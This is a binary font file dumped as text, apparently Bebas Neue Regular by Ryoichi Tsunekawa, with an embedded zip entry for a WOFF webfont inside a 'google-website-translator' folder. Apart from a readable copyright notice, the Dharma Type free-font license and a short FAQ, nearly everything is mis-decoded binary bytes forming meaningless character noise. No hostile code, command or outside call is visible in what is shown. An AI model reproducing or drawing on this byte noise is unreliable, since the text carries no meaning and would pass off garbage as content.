ORºRSPjP+?R+?7Rý/á/H7p+õ/®!+=…R+J+=+®+Hÿôã)9=×!+3(Hã)Ò+3=V=JB+|RJ=…=F×!……Já!AAAAAA£?ñRñRñRñR…ÿ®…R…ÿš…ÿ¶CjP+?+?+?+?+?+N+?/H/H/H/H+Rû/AAAAAA£?ñRñRñRñR…ÿ®…R…ÿš…ÿ¶CjP+?+?+?+?+?+3+?/H/H/H/H+R+°=°=+ÿ×ÿÏ—/—/eË22åof(H(H(H|R|R|R§R§R§R+yÒRo‘!‘!Ë+'°™,,,,^˜€¢2PŠÂî6`~ž¼@¤ lØDtèT|²Ü  0 ¢  f ¼ ö 8 n Ò , \ ’ ºZ à:žB€Ð<°î&Tr¤ÊæxÚ0j¬äH‚¢Ò0”ÐX²ŠºøH´(fž€ÂÂô\ÞTz@ú‚  2 P!!>!†!Ê"."¬"Ê# #*#|#¸$$˜%2%Ú&¼'$'ª(2(À)v**Â+4+Ô,&,x,Ò-8-f-”-Æ..b.Ú/,/~/Ö0T0¾0ú1f1®1ø2F2¤2ð3:3ü4‚5 5˜6N6æ7š8 8¬8þ9P9ª::>:l:ž:à;:;²<4>|>Æ??r?¾@@f@ÀAAxA AÞAÞAÞAÞAÞAÞAÞAÞAÞAÞAÞAÞAìAúBB B8B`BŠB´BîC*CfC’CÊCÊDD\D\DðEzE äNcÞ z z Ž Tœ $ð  . ^@ "ž "À zâ *\ 4† *º ä ø È É0Copyright (c) 2010 by Ryoichi Tsunekawa. All rights reserved.Bebas NeueRegularRyoichiTsunekawa: Bebas Neue Regular: 2010Bebas Neue RegularVersion 1.002BebasNeueBebas Neue is a trademark of Ryoichi Tsunekawa.Ryoichi TsunekawaRyoichi TsunekawaCopyright (c) 2010 by Ryoichi Tsunekawa. All rights reserved.http://dharmatype.com____________________________________________________________________________________________________ _____ _ _ __ ____ _ _ __ ______ _ _ ____ _____ / ) / / / | / ) / /| / | / | / / ) / ' ---/----/----/___ /-----/__|----/___ /----/| /-|----/__|--------/--------|---/-----/____/----/__---- / / / / / | / | / |/ | / | / | / / / _/____/____/____/_____/____|__/_____|___/__/___|__/____|______/__________|_/_____/_________/____ ___ / (_ / DHARMA TYPE FREE FONTs EULA ( the End User License Agreement ) This document is a legal agreement between you the end user, and Dharma Type. By using or installing Dharma Type font(s), you agree to be bound by the terms of this Agreement. 1. You may use this font for both commercial and non-commercial works at no charge. 2. You may use this font to create images on the website or printed matter on papre, logomark.....up to you. 3. You may not sell this font without permission. 4. You may not redistribute this font without permission. 5. You may not modify, adapt, translate, reverse engineer, decompile, disassemble, or create derivative works based on this font. 6. This font are Copyrighted by Ryoichi Tsunekawa. All rights reserved. You may not claim copyrgiht rights for this font. 7. DISCLAIMER This font is provided to you free of charge. Dharma Type give no warranty in relation to this font, and you use this at your own risk. Dharma Type will not be liable for any damage to your system, any loss or corruption of any data or software, or any other loss or damage that you may suffer as a result of downloading or using this font, whether it results from our negligence or in any other way. Here is a list of things you could do, Only if you want to: * Link http://dharmatype.com/ or credit "Dharma Type" * Tell me what did you use this font for. FAQ Q_ Can I use this for a commercial product? A_ Yes, You can! Q_ Can I use this on a web page via css @font-face? A_ Yes, You can! Q_ Can I donate $ to you? A_ Yes, You can! ( Paypal: info@flat-it.com ) Contact_______________________________ info@dharmatype.com Dharma Type (http://dharmatype.com) | |___ Flat it type foundry | |___ Prop-a-ganda | |___ Holiday Type ______________________________________http://dharmatype.comBebas NeueRegularWebfont 1.0Sun Aug 31 06:28:42 2014ÿgfä  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a£„…–膎‹©¤ŠÚƒ“ˆÃÞžªõôö¢­ÉÇ®bcdËeÈÊÏÌÍÎéfÓÐѯgð‘ÖÔÕhëí‰jikmln oqprsutvwêxzy{}|¸¡~€ì±»ØÙ     ²³¶·Ä´µÅ‡«¾¿Œglyph1glyph2uni00A0uni00ADuni00B2uni00B3uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011 figuredashuni202Funi205FEurouni25FC¸ÿ…°K°PX±ŽY±F+X!°YK°RX!°€Y°+\X° E°+D° Eºì+°+D° E²i+°+D° EºŸ+°+D° Eº*+°+D° E°+D° Eºÿ+±Fv+DY°+TøÚPK/—[¼p#˜Q˜Q=google-website-translator/styles/fonts/bebasneue-webfont.woffnu„[µü¤wOFFQ˜ÙxFFTM¨dÕ¡QGDEFÄ GPOSä &xòaÜ1GSUB è l‘tOS/2 R`u€+Kcmap \„ÚÙÓrcvt à..2 Êfpgm±eS´/§gaspÄÿÿglyfÌ5q‹@0€|CheadE@26ôhheaEt $ÌÃhmtxE””¥D.™locaG(¿ÊögÔ‚maxpHè µnameI4*T/öpostO<ܰÿ)½BprepQw¼µwebfQøÛTÌ=¢ÏÈoU(Ð(©YxÚc`d``àb `b`ÂÇ@Ìæ1 xÚÍ™]l×€ç^ÿbl°„Ÿ „a‰Ðæ/Š"—(V¡üšˆ¶*/‚ª¼‚©/­ø“¸ƒ!Š*T™ÝÆ`¿DHHy Æ•ØP-„,¡èên¿9¶Áž )·GŸw÷îÌîÌ9³g眕„ˆI¹THâ“_ÿa‹J©$«—8UJk–Wó_$ŽEµ¿ÿÝV=/}G’+I¶9R\pâ•«’(~ù­|—H&¾…ÎÄä¨derkò+¸š¼“ìInÍy5gQÎ'9Ÿåü5y5çFîW¹WóV`ñìšßæý1q牫ÁrµOòVä]ÌùìY5aEþ{ùï%’}ÿI)–ľPòe,¡Öp¼ŽýõPËq#´B´Ã/dfÜ-å0æÁüø¡,ˆë¥"î•…lŧdI\+Ë8W5° V£·†ókÑ[Çv=zµèíæÜØ û`?€ø݃pC#ú_r“œkÓpÎÂ9HÁ7è‡ pZ±iƒËœ»íìçâi·,Ž#<é– l2&û')Óã¢Êrþ^g9 Ë,–Y¹Ž×7à&Ü‚/e°0~ÄÕ¾GûWûÍn4»%͹›loA'û]0«^¬z±¸‡ö=´{ÑîE»í^´{ÑîE»7Ü£ínî‘í÷8<~rîA÷èÆª›ü-¦¯FÇŸbù©¼Ëþ&H³ß ]÷Ø‹ô »å{q÷s1÷`ULFh«,Œ/r%²ƒí&¶×ãÍÜ3÷Þ̽7KW¬åеãJ³ß ]Pü_ß þײm„Vhƒvˆg –$´3CÚYÛàA<Àæ!6ûÛù!v·sŸç£é§2˜§d hê}šß:¡ æ¡™4KC[×Ë z}&÷(‡ÙìÏe«Yñ.z•/c¿ ªÙ¯a«™²‰s[°ßÎou°vÂ.¨‡Ïã&r=K®gÉõ,¹ž%׳äz–\ÏÊtŽBƒãÐ '°;Éù8 gà,œƒ dçàˆ û#:E4§‚×ê]šýNè‚iÄcDŒñEÄñ,? ¶ˆØ"⊈+â¹}@\¾Gøá{„ï¾Gøá{Ä3ù#|Œð1ÂÇ#|Œð1ÂÇ5g3ôW†¾ÊÐWÕŸ§}y39NÓGéà‰æ¬Þ]óvÀzh>-ˆ¿&:oÒäUcË×äEãJšüê ¿:ȯò«ƒüê âûÌàγñxq°¼/KéµJ~«æ· Áú¾l =™¡'3ôd†žÌГz2CO¦¹ú}z,Ceè± =–¡Ç2ôX†KsçûÜù>w¾?Äï9ܽþñ:›ž<Ž.Æz)cH%:ãg5:ƒÇÐ èlDg;:u°vÂ.¨‡Ouì<‚ÎQh‚cpšáÇÆÔ±3)¿Fò-c3gÈŒ$³x³ŽÙÄ6Ræò%ï ¥RÞ—IòTÉ©–å2Ujx§¼&#oÊdŽl“zù¹ìFÈŸ‘ Ù#x#5H3×8‰|(Cª¥EÎÉG’âM´’7Q»lëÒÉõºßHblOx3—ŠDy¢<·ò¦ç+š)Ûâ‹%§JN•V–V&Êûþ'ÊñV߀}#Z9èÓ¢oP‹¾Q-ëôkithuhshwøgÈ>K¹Ã\‡yš¹­,Z!X´b°haъ¢Oˆ¥Ê¡Æa•ƒ>]­X,ZÁX´¢±h…cÑŠÇ¢O¬eÃ^‡}û848hÅe9èpÈá°ƒVl…,:úXZN;œq8ëpÎ!å ¤å¼Ã‡‹ZZÚ.÷´ƒ¹â ¬¥',ÅS‘&CSd•¾¡ô-”æÊi4xÓ…êÉ¢™e]¨{‡¢›¥Ñ¡Õ¡Í¡ÝA+@Ë ‡›·~H"7TA­ó,Z÷YÊú+ÇÁh]hÑ:ÑRî u¤EëJË<­à,Z‡Z´.µT9hÝjÑ:Ö²ÊaS59­{-Z[êv8ìtØåPï u¶Eënˇ½ûö;phpÐ:ßrÔ¡Éá˜Ãq‡fGXt^aiq8ípÆá¬Ã9‡”Ãe‡+:ϱt:t94‡Ye¦C¹Ã\‡y:‹²è¬ÊRåPã°ÊAge¥Yv;ìqØë°Ïa¿Ã‡%ZtÖhiq8ípÆá¬Ã9‡”Ãe‡+:‹µÜp¸épËaI˜ËZ†5—¡è\×¢s_‹Î…-:7¶è\Ù¢sgK£C«C›C»Cs˜‹[Êt®nѹ»EçòÛ[t®oѹ¿E×,º6`ѵ‹®Xt-ÁRç°Ãa§Ã.‡z]«°èÚ…E×2,GšŽ9whvе‹®XÚÚt­ÅÒéÐåð°6cyÖÙ²®åX^d­kA]²èZ‘åYgƺ¶dy‘Ù²®MYt­Ê¢kW–:‡;v9Ô;ü”fÚÞ,X׿,GšŽ9whvø);Ÿuœñú-EÊd²L‘y²PË;²JÖÉùX¶É_ä’\—’–›rK:¥K’#¾Ó5‚}…7äu™$gƒP_ćãîÁGòÔ¿ç±d=íh8mл÷ô£aµ‰†á_Fn›\ãn|*¦ô Ø0Ùü¿âÁîQÃa÷¨øGFóaüHy>›þãƒñßã:ÞƒŽ+õc¯ñ6ÿËþzý»qGà6G·‡Ñ¦ûéGOõíylzì‘zûoÚà9l8iÈQ }«t°ß1œ6ÿÍçÇê Éžk»:ž¼¨ ¿FÙßrt8ÞH±ŸêoýžçµyúÓðŒíôÙÄ—n=Ò,íËÔ'{á/)oK)2ƒ7òëÍDrå $_f!…RŽÉl¤XÞDFɤTæ"cä-d×x[^–ùÈY€L’ äUY„La~½D¦ÊRdºT" ù%’#ËBFËr¤Lj±²yI~…Œ—ÕÈDYƒ¼"k‘ɲù™Ô"Ód#òZøÂ9#|ÛÌ ß6ó÷Í1Ò€Œ‘/ä06"SåKd¢a^œß<óÂ7Ï‚ðÍs¬¤±ò\ä.­È4iC¦…¯ Si³Y¡ ¸× ZG[0Z-ZmLh©œÐ:/‡ÖÉ ­3>´N^hüÐ:cC딆v) m1"´Å¸QˆyBˆydˆybˆ¹8Ä\b~)Ä\ Û¥O>GF‡ø!òœyNˆ||ˆ!D^*'²aˆ¼(D^"Ÿ"/ ‘—„Èó¹êòþÌ™I¾èWèÙäÇ¢}‹|˜O¤D¸„È*éïeô³~‹®¦_—ÏJúq5±¬%†Z|ß‚×u²CvÊ.¼ßM푽²Oöãy>”CøÝˆ¿Gä¨4É19Ž×'é§9-gä,§ðõ¼\ÀßVülÿBÈÇ× latnÿÿxÚc`bÚÇ8•…u«1£<„f¾ÈÆÄÀÁÊÄÍ ô”7ŒïâäËàÀ  ú‡uÖßY ìúŒ;“Ar@3€" L[[ `xÚc```f€`F¸ä1‚ù, ;€´ƒÅÅPǰ˜a ÃÆ`Æ ¦cLw¸D¤ä”Ôô¬âÖ(*©þùÿ¨GaÃR†mŒAPµ   2Pµ–µÿÿ?ôÿàÿÿóþ{ýýû÷Ń£<Øû`σ¶=X÷`éƒÆ¦÷Üzu‘€‘®‘ H0¡+z™…•ƒ“‹›‡—_@PHXDTL\BRJZFVN^AQIYEUM]CSK[GWOßÀÐÈØÄÔÌÜÂÒÊÚÆÖÎÞÁÑÉÙÅÕÍÝÃÓËÛÇ×Ï? 0(8$4,<"2*:&6.>!‘¡¥µ½sâ´9 ,Z²xéò•+V­^»fÝú›7mÙ¶u×ÎÝ{ SR3n—ÍÏÏzTšÉÐ6ƒ¡ˆ! âºì*†e;ê“sAìœê;I ÍS¼|åÆÍ«×¶3ì?ÄððÞ} Lùõ[ M]ݽ}ý=“§0Lš5{&Ãá#@© \»ˆÊššÍÃÌÎÏáḴŸÙ¾ÞÈÆÒrfDxÚ]Q»N[AÝ ÄØ 9Ú³™Æ{¡ ÄÕbd;…åi7r‘‹q@D Ú¯ ¡¤H›!H|B>!3kˆ¢4;;³sΙ3KÊ‘ªwékÏSç$ÂÝÍ6ýNHµ³÷¤ë댴ƒZlfôÊuûþ ›Ñ”;jå=o)M;Z´§þÑü †ûüó;´4ÓôÔ: é!æ›qKƒïͺËú‚Õáb00¤˜¦â.?¦Rþ·4çj˰µ‘Ѽƒ3ùÉ4@SkmšþÔ!ÕóqK˦±6˜˜²þ$Á…ÉtUSµÌøÚÁ]²³è`ƒ*ÍØÃVy &Ò·$Ê, öb«Ä“ 9åÜÉþ¤@ùHƼIJ;ㆵÆ‘×À 6O³ÿ<›MmoÂøYÁw¿K:øÈ†Úb;b)€ DBFUù†Ͻ,äRûÏ@”€åñ´îØD<—µu1Vz~ÛÜòËŠ»V¹Î‹Bwoªj¨Ò)Íû^ξÇž ÃAcÁ›ÏûþJú<,®4hCz7zÿ¢µêˆ«¼>²'Ó¿±ZÿÿxÚí} ”TÕ•ö9÷Qïǽõìêwuõƒ¦ ‹¾E?Іnä%¶€¦EB£• à£U@EDãOœDÀDȉQb"Aֽե͌ãï¨Ó¿CfÐÕâr¡cLgˆa'¿]ü{ŸsoU54ÑÌ{Öj±oÝ{nUÝsöÙgïo¿NÌ!D¸F¾œˆÄNZ JRÓ³v)ü;Ͱɿšž8%†ˆÍ26gí¶ÈééYŠíi5®6ÄÕø¡6_O¿›_%_þéçHƒ¾’ôBÓòN"'é$Y!IÃn†O’$;PÝ•ÒÉ›ºM3Dǰî`/†›&‰Aíj@—2SZƒjZb[:Üw¬rolHœ#,Ù7r2ÿÒÐ>CüX˜ÏÀ¾/ YhIêR:'Ú‰KJ³ó’ꎔ.¾™$ 7ŰÓdÎÆ® '…Î jÀ R&Cà¹i1}CñGòCñòÎü2º'¿ ¾¯†±žYAjèÕ$[ãʆ#±t:ÍÏí8>‡Ûƒ xž#´ÜîMjeU}4#‰IÉP´¬¢>ªåd‰Ý•ê¼+ó»6§Ë w©^›ÒËßÔ%-sZèvŒwÛÁ¯ Ò+çaWaÛ‘ÌEø­H*fgFœ&õöòçzöžü ']Ïõì;Ù'z¹2 ”Ûƒðpv´á0àŒ9à$¢ ¸"n8 +Þ°Þ °£ÊŽ!<â{¢ì=ð©2ö)øÎ ë{*­ï©Â÷ T[ï¬Ávq¦"ˆ8LEERTVU×´œõŸ>³§¢#LÀ_ZdöûKñoÕ(×4­T¾š8˜Øœ8X·J¹®é:uUò`òëð÷êæ¦Ítçãtý.Ú›ÿvå¿ñx~%݉ÐN(™wf·ð¾üÒB¾Iôd*'Û‰èW™ÊØÕS)Ýÿ¦N4£øYµZ1’@TUËMäÄjúD61zL3áQ͘,U-»3ÆD?°–\™ÉÈÙubÈIhjž”Éè•êõ—5ÖG3z `¨¡ ò=p|(­µMm‘Û”¸¨¦U4Ñ65QUËáÍN´µÐyGo[ÛºðÊ+¶þîÐú;ÞÜÏ/îZèö ô†ý<0}å—åËhsÛêÕ±ìöÉ]Û¶aÛbhÛþLlÕªXVè¼3'¤äÝÄMÂ$FHŠì'Ùr3;ÔÃ!7A"~)™•¥ƒü<Ь¥ÐàòÕK^xaí¹êÉ쪚]Q} .sdR¤«G1`Y;¿²+F9\5ò«FŘWqve´+’ÑíjVrÆ2HÀr5VÕù>QÕËØjU§¶k‘°²Õ5v ÙT$T¦iØwæÝü‹›áÿ{/º¨·WhÛ<ò:]Å›¾  зnZ¿þ¦|óMëÖ]»l=¾lÙ©yç§+ÂuëŠ7þqÙ2&ëŸ9!vL¨.zŒd«‘hìP‡R¯IÎ:T†GΓuN/ðIÚŠÈ'Ù`Ò•˜ ;9§@”5£xȯeÞkp;“zƒb4…4£îE´lE3Þ«ˆÁ½fE¯®}S5ª€?‘íPMÌèͪQ[òÌÖ³‰µœ³¦v4ΠSÛÓñp¢ÎVEC‘. –'`!&›l Nªn‡?úèSOR!ßÙ5göÕǺºb¿V¤éß¹ëîcko²-Y4v<ô›¹³Þ/úÙÁ z¿Ô7w×®Á|ómÓZfß»7»m#]°xЇ’âÇ´Éé:2Z&K%2ÙAösÙ»À”¹ðÙåðÇà³A’&Yé铆vi˜ê!¤™áv gÝŒZnPįaþeÀ]G LagËÚ7·£sʔΎ¹û¢±éÇêè==ÔÛqpaýÃá 뙟Iá™n|¦Ë|¦ü¦¡À3eŸ)»à™Äzfº-­µ§5&°œûñŽÎÖVöÀ‡öìè›z;=øãÓC?ކϓ„ÇÄ&xžD¨\`‘)H  ‚²˜¢rÔî¦MR†jí‡Ú©–Éë'v|ÿ±'¤ôGh_þÀ#2'ÖÐTþÈšð½óé5Â{R+ñu’ÊQ¦]t¯†tw[ÚFwj ÛÙ8ìÈ…JJP-ç¼\U:´¬WÀÛ^? Ó¥e/^ ®$ÍPyÛÒm øcœóóùüãðG¯Ùµ{×ð0 ?}gÒðæ!b+Ò¡øuDÂgÛÙlŠ\Ð873º†í‰Ž¾¡Wt ýüù\ÍVÒcbšñŒÑ â0þ!k¤‰è@N³x«-žOVâg£`DÒ\Úó„qgIodkvÃ}C?àó.ÀãëZþy~(8Ð óc \BÛK#¯£ 5Ðsæ„p\ÞÇdî’u1ΖMÎâ"ìéXî\hvèD^=—³ ¤¡]3É™±¤`-ã¶ÚYד¥½†‘6ûîÚÛn[K— ¿ÝÿÓŸî‰Àñ±mÛDÛÖ­0Ž·AˆÝãp“…¼'üÀ  Ã00T@)&ÿPÝ“Ò]oNà—çÎ…¬àTPª#ÃØS†×$·Ö-v¤Õ„ú¶¶hJSÈûÝw¥y‡«Ú’‰OWJóˆ9ÂG@‡Z²Æœƒjq82åeÖÂxdŽxJW˜"ö£Ö²~¶øüµ¸à†á"@¡:xõ]ô`Fwª†­4E$ ‡@zª\¶H†1ÓÔn¹mjc¢Ž)V¤\È'Gãá¾ÖK®ºê’ÖiÓÖÝOçïo¿üÚ‹&8é>ýò‡ûW_óöÅWÌߺsËÓÏ?ÿôUú×ï¼nŪô èPÀûÈDòu’mÆqÈ0›2“Ò2u‚BÀ!E`H‘jl‹”;“9Ÿ·¹Ú óŽÓd¿œ£á2Mä=ÀE­–u4âç^gÒ˜c‘ ªšQ':@'V'&dPÖû¼0ôDC´ƒ°ç’ˆÇ ¢ßŽ`ÀÓºæ.Z°töœ®i·á¸üýïÿ8p?]º~ó¶ùËúW,œÛw)ŒüŠE8ò†__0g¸΀«` Dw\ÄKV¬‡Á<äˆÛ)x™tž `­/¥;ßÔ=šá€¡‰04ÆFÝY§OÀQ†—¿—?Í肪{Ù¨hZEe•P›Òj}ä«W{ç* НžîÌŸ†3!€ræãèWÙH²•l>l0•…ùðã|@%‡]•~˜„0L+ÌØÙ‡ÜVÍæÃÇçÃÃæž«±ÈïL‡à$ # ‰²ŠZÁ¦!ìbX„r¸ôÁx8.¶›j¡¶q> ¸µ·múò·z¾~×F‹ê[¶Ð®­[&æ÷­zrWþ0R±Æ× à³I›H¶ GV #Ca¸a n‘©A°—/ad*²W=“&å0Ÿ0ݨ¦(Ù°gÄh€•#¥Ë2zµ ß¡âxÂ= c3/ û™9¦Äµˆ‰DA£ÇQ8sèÒÝû®9aã˜)xÞ¦ksÒ[­Èºiï®ü§(‚`˜ˆ ˜/´Cq¾l$C²22lÉRd¦@éJ t$G(‰À"£5Šwš s„æŸy—öJƒƒ/ŸJ2{T$m@·?Ý Ý'‘ëH6„”‹YØl"0B}M°™QO›lA1)zfŒQ k} nÍhAqΊŽSµξ ›ýú`Ÿ8 pZq¡,ȆèU .M hÛ–-?¡‹ŸÝ²åÙüþŸ¼;{z×,z÷¦MwϺ}6]Úÿ«Kü} Jï–_,ºäWýp–ýÒEó—m~â Áöð×þÙE½hŸv1¾/ð.EC…Qªl‰© =¸Š‰Û‡sÑJ'u#Zà\’E Á€«5¦v ü°2¤Â—E‘?ìh¥£2 7™¢ Râu0d.~ÚT Qrþè2@!å÷"ôt#¼‹+@ì¢v¦˜êò[K¶]²‚Ú6íÍnÝJ…°ü Iñ}fëO.jk¦aQW;Xÿ%¾\¹OU‚©±ESk ‰ÔÝÇ"ð}6\3ÇD#¨ÇøÕnöÕvþÕNþÕž±   À“%CPø£€·gÐû…!)ÏšLt[*'؉]²ÐNNvàˆAäfCF¹"˜nˆ¶†°—†gæÛèëÂÆ]ÿòƒÝ»Ÿ Ļo ï‰/1z´–¢;)eâ:¤ B tˆü@gQCÂ÷F®¾GßÚµ‹.ØÅ0ôõCÖ×$ûV©´¯ÐIt™@ë« Ç/ðžN¦mr¸¾žo¥÷?±{÷þeöT¡ð"ðc ðãÝ$[K8ïq&¬yUÉ g%A™ L|Óð9†j|A,| 8`ºdIňá#Mf šÌX6NXÑ0"(ŒcªQ—€Wà"7.ÅÊ8ê|Å\Цž£©@4N\óStÞSUS:3SªíMÏŸŸîìì ‰¹m¨òÜ·|É¢…ËÛ&Õ7OY²íº5¯è½õÑÓ ˜ªõÌfùJù8™AzÉi¢gR9M"  w ¥GÒF½4lÌ”†õ SF¼LJålì6Õ/f rfxsŠ™xh(£1´ÀtÛì>9½5>=¦èå‡né¤Þ{ø¹ž§Oî`NœÙŠ^{بƒÖøa¸¨™]LÌÁc޵߬ýfÂæS@© ™éŠ•×ÔÆëºgÏé-úYèØÍúÌrj4§ÔÀ@ÀÖ–©GEЀèm½^8e\8(›"@ì*Õð43 O t i­Z"‹‰º&[S í¡Ý4‰v¤E[ZëâµD PþÙ}4Q×B…[4ÒÞCÛ6{k×ã䎻_¾ç²DÛe7|5ý”»çϯÿ²?â¿gõÝ=/wÛRÍ4†^ý?ùòï}øû }­ºüÕ;Ÿ:óý…B«oå”éö°-=©uº]è{„~³÷ªî5ß;°êÛ¿yðªÆû﵉O<üÆÃJâ]ëGô©—ó±¾W?Èß”4Ÿÿ`ú%53½ê0÷ü/Qè™óóÌ4¡{.Ìm”Gô¬$g¢|Q²£{u“.ðW\@Ž3mØ`ŽeÍ(=ÑÍ!!dàrƒMëÅø›?¢èô°Þ¡»?wøÞjØ]]Â&`‡.Ö]ʀ쒂è1°Ù]0Åfm•ŠÐÚŠ–X[–SŽ«pPx Ú{Ðlà°n?sÂoQ€lÙ¹uëéO·lüÇÍHoÐÛI‚dŠ©§]µ™ýÇ=.è‰K1|¦ì3] H<æXh*øúè5O>õÔ“÷mêìêêÜ$ï|öé‘äÓÏ ^Ð+ü¶÷R°µ2;ïrSã9Eî‘7$˜_™±0Ú-ÌÄÉäæjCÐÐØ=ÝdèÜŽþź šËku+7ÿú„•ù ´-ÿ:Ý,ïÌßü7ù+,›[ØÃÆmjÝâó2{¾Ïbg=6‹”>®OXœßJù·ñQ—Žè|¼?TµÜSÏøa &È…Â刄BøèÊ1ø!ÊøA*¹ƒxaÌ!åæ(Ï *2Ü eŒ(c’Øy˜¤MM´ÅÕÑl²’vÅ(Ô1˜Ï ¯0š‰16os8Ít»)}dSú¸DF:—hM[Œ‚ë‘Y‘‡qÖ4aäÍr Ü1J~ýë3DÞ9òˆðÕOW +GvZ¼Ââ7"i$c¸5ÆpŒÀ7öcÞ ü|èÌiú2|Þè$ëFÚ‹ õ .ª{Sº;l šÚÐäó™ˆ-ÂØ:H2k›1çÝüOç ÓJóN½–ÿ®Ù?æsu“¶³h"¥Í^–‚ 6Ct2|;M;iB´#’oç_¡™~9ñ Ð?rïé÷…®ûòóI)ÏÊ8¶nDqT$ËfÑ#+2Ve‹½Hì0<áVyç)ÓWp)!’ÀhóI[ ¥Qü¥­x-×9â·†Ž ;gH”>®K¿ù/L—¸Z$Ý}Øgˆî“2(çzæÿá¼!éŽYw6$ÏICºx˜€ÙâFÝŸDÉT¨ðùªª q`1!ª—ÒÌž4sôÑ£{å§mâ§Ÿ®”¤S§Å?œvñqˆl-÷šs`;{ŠëØ©"¸i[Á0uíˆÒøÄ8øÄÄ1ì— ððòß¼ú›üoàÉ?ÿ žì;õþÿ}|gLŽ 2> “iæl2‰æòÔ˜.¹Ð%7w&¸y¯l¼W¤¨mI£%pÊôÕ«;ÛÛ;W£LîégFÞ>èî}«w†I‹½bˆÙµ5(ÕƒH‹2‹UH‹Zö`´c#,ÜÂh7ÍWÄÐå*úÊì¬äT™ùZÚzÀéñª€úJˆc¯¦ÌƒÞ4Ú¢cdJÚË«CÕßÖ.Zü£³Éuç%A÷«+ÊGÓLôÍÐF]arŽ/ÍÉ–²••3²•É¿E z_®aø3ÈRœZb Ÿixü&È(#,î†50ŠÈ¿EàÔEh€;¾0·ì}‡Í>oá¢"Ôè{^Ýw׿½¾#»°ãØÕ‹GŠ¡¹—mex#|øо }LScÁǤâˆÊ@V”©ØVÆ¢<Rº¹1+Ìxb…bØ`TaÍHÀUPC3À´J#h– Uw¡Aƒ¾™ØÞ5 |’dô1$ áB-,Q863VXÛ˜:úÛÖ…W^µ°Mœ£ýÎüNwò±¡N%L´‹ÊdÂÏO™CGÓ¬(€üÁ°À¼ À/*™ùdni8Gh óɺâ Ý”9ˆSÂj–¥ŠbÛ@cŒÂi° ¤U št7PߟÁVÖ—`›ÖÞìæ Éæ§6{¤†šú©±Il¡ÑžI²j¿ãê[ãšärlÜèpIZGüÖ«ï°«ò$¡ÿ`z> ôßz¨û²Á¿¨­ý‹ÁËzÞÒOƒóÓ„Òg6+m5Ìß`y DVÚb¾˜°WFyààfÛî“WXyòŸ°ñ_YâWQpü~ íh¢ ]¿îg…L@6þ1õs‹T³äÒ ,:^ýªá ñl]Ð\=´½£1E[(Ï««Á­³ÙEMÄã­Ö¨[;â·\}§]‘'÷ôL–ûWì±Ý}èÖþü‡óÓ@üïúo1(BF¬—Ã\v°tr"KÍpˆ!G2ç7ótÊR˜|DŒò°Œa}™ÛôQ7èÕjóY¢,ŸE€²+ónînøâÌ…•uimõÜ›fòó¶)ÂÞU—6¥šRónZÙ‹¯sÏ­•+â*´`! —ÔÊɼVN¶jåÌ,ÔúÁtPe)hU{+ß–¶‘OGöI/ Á8{φåƒ0W·½*• ò:'ŸUñdNKoT4øÐ!VÉ œÀ¬TÐ&ÇÌÇ2ž‡3XY…:9ÈjLð´¢S±Ô¬+ÂòeöŒ ©°Œ)¢†Ïv$ðJ¦Þ;ÖúÜ™°ñÎCëî û„yß(¿~•–ÿÅÕý[·Ž<¶eË¿ó\ôºÕ±,Ï©ƒµ> X¤ì4y”N5ž×…uõ£FŽÁä•mÄïÅJ01«ÔxcJ÷0¤•õÄX’9èî)æq$84Æ™ÅÇìrÌм %*_ƈǰ©:韀Y=‡*QSÍÈ·À‰¶t‹X*¬ˆKˆ¦Ã ›=žÑw£¸ç¾LsÀÊÞ£ýñæ´ç“aßµô¾—ï^} éö/=üEÄ)Ûí½ué#WÜž:ð­/pÛʲ¶ ø&Böp??”ÊÚœ¢úó×åV3˜ …Y›œÎ…x›È-•É>žyîeÌ–õúXù‡—øXù‡/WЦ{‹R» ”WlyU`J]Do'H·ð( Î+D0ñ ^5â;¾gÏ[ùO÷=ÿüóÇà̯‘û…;N»ÿŠ›?üðæ+úaªKd”Pt‰ÏV´XÔ’U΂¬¹¼:xp³ðÖH³8ˆG–;yæzáðN'艻 Ø\fœ|Xo•2Z ¥¥[ZšÇÎe²MÐ4#ƒª‰š¦g£GÝ X~婃“yÐ’1muÀkhÃ꾪€^‹It-`lØê¦ÏâÆ,Œ Ü‘Ö ìaY{ 3•–y ñv„"Ñnø@c“Ο?wÖÅûßµÿhW[{¹½s<«å­™3´étkÓ„û.½¯)¹qÅ=?ü’³§wÔµ55w^tû‚K67-5°yå…fóh^ÜyaµýK]p\жè™åwMgsÂìPÌéÇ$\P¥´„kVÉ4½ø| `Â4YÏ‘uGäwŽÀ„åe7Ÿ9!?sá'¤üŒãa䢔d.ú\9÷~O䕽ðÂïLšŠ3)‹»¶‰Ý¨å7šjñFS=ÎX{J§oæT^]¨² n,ÙÄ•‰ fpëõZ®•7Ôiz«‚¶)¬?ì€îO¬TÏx¥ò`ÍT˜-£¦îO(V+§Y>dÓ$5ðâp*j$JÙt”@{}­ (‚Mª­o„kx+häeŠçºRë›ox:è$êøËnøËü'ù¿ÏòBãv*Ò™Tؾ=ŸÏÎ Üöëµ;.¹ôÒKv¬û‡µÂ:ßxã‹ùßçÿwþ÷/Þxãaá‹y=ÿO?LýôRêøá‘{èÖ»¾öµ».Z²bEþÊåË7Üzǽ÷ršÏ /Ðòn8«$õä ÂÊmrn^Õéf7n]Ÿ…¤âŠT®†‹ŠºTÎav6Àü£a—«â®R˜}šSø¥’Êù­¬ ١墼A`îÅ2~ʵh—@„°Z§LÕc@Ýš hˆÆ2VbÛTž0oã,i-¬&Ð4gÕŠm¶ð :_øð–L"qÿêU/ÝáHÜ´ë[½säíô…mÛÏ~ãùʦ¤šnX÷ÞÈðŠ5¿\Úû¸ývæc‰“]³ÒÛ Ýäo ƒàò› K0ö£ñîJ¬ÔeÎÅÛš…Å»/þ§/p×m<~X2é$ïÃϽ¸ù£z~Gna˜oJÊICDéðsÝsþi*¿o‡OÚà¦?é„O>ð‘“ßq·p°›.ø¤Óøý0eEQ’á–Óå.­š¦D´9K|\¸óc|ÓkwÝõÚà¦×6n|MxCð|4rDHñWÐ'izð‰Xth/É(U gÃ9GIÅb`Vj"‘‚æ àyZxy—°qWþBû·ÖèI£äC´þßœ_BhS™ ÐøI- |\©åªg°{Õf­{ Éæ‚`ª¦§c2Ìm§–›ÀÛâš>a”p@¡Ÿá0à –K(&LFÑ ÇBõI”õQUŸ,¬…Ô@ ŒH6NUõúŒ>#0à 